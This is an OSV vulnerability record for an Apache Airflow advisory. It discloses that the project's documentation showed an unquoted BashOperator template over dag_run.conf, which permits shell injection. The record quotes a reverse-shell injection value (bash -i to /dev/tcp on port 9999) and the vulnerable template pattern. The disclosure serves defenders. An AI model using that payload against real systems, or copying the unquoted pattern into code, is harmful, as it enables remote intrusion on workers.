{
  "affected": [
    {
      "ranges": [
        {
          "database_specific": {
            "cpe": "cpe:2.3:a:apache:airflow:*:*:*:*:*:*:*:*",
            "extracted_events": [
              {
                "introduced": "3.0.0"
              },
              {
                "fixed": "3.2.2"
              }
            ],
            "source": [
              "AFFECTED_FIELD",
              "CPE_RANGE"
            ]
          },
          "events": [
            {
              "introduced": "1fc3442f1307fdf5e1221b26f41266c4fed330d3"
            },
            {
              "fixed": "21cbbf663b140f4a84cf123acb90328a6a4d30f5"
            }
          ],
          "repo": "https://github.com/apache/airflow",
          "type": "GIT"
        }
      ]
    }
  ],
  "database_specific": {
    "cna_assigner": "apache",
    "cwe_ids": [
      "CWE-1336"
    ],
    "osv_generated_from": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/42xxx/CVE-2026-42252.json"
  },
  "details": "Apache Airflow's official documentation at `core-concepts/dag-run.html` (\"Passing Parameters when triggering Dags\") showed a verbatim `BashOperator(bash_command=\"echo value: {{ dag_run.conf['conf1'] }}\")` example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `\"; bash -i \u003e\u0026 /dev/tcp/.../9999 0\u003e\u00261; #\"` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache/airflow` PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release.",
  "id": "CVE-2026-42252",
  "modified": "2026-07-08T05:39:14.612768613Z",
  "published": "2026-06-01T07:51:19.018Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://pypi.python.org"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/42xxx/CVE-2026-42252.json"
    },
    {
      "type": "ADVISORY",
      "url": "https://lists.apache.org/thread/8f4sc0rfn154jprmnwtmlst4p9zfw3w7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42252"
    },
    {
      "type": "FIX",
      "url": "https://github.com/apache/airflow/pull/64129"
    }
  ],
  "schema_version": "1.7.5",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Apache Airflow: BashOperator Jinja2 injection via dag_run.conf — low-privilege user pattern"
}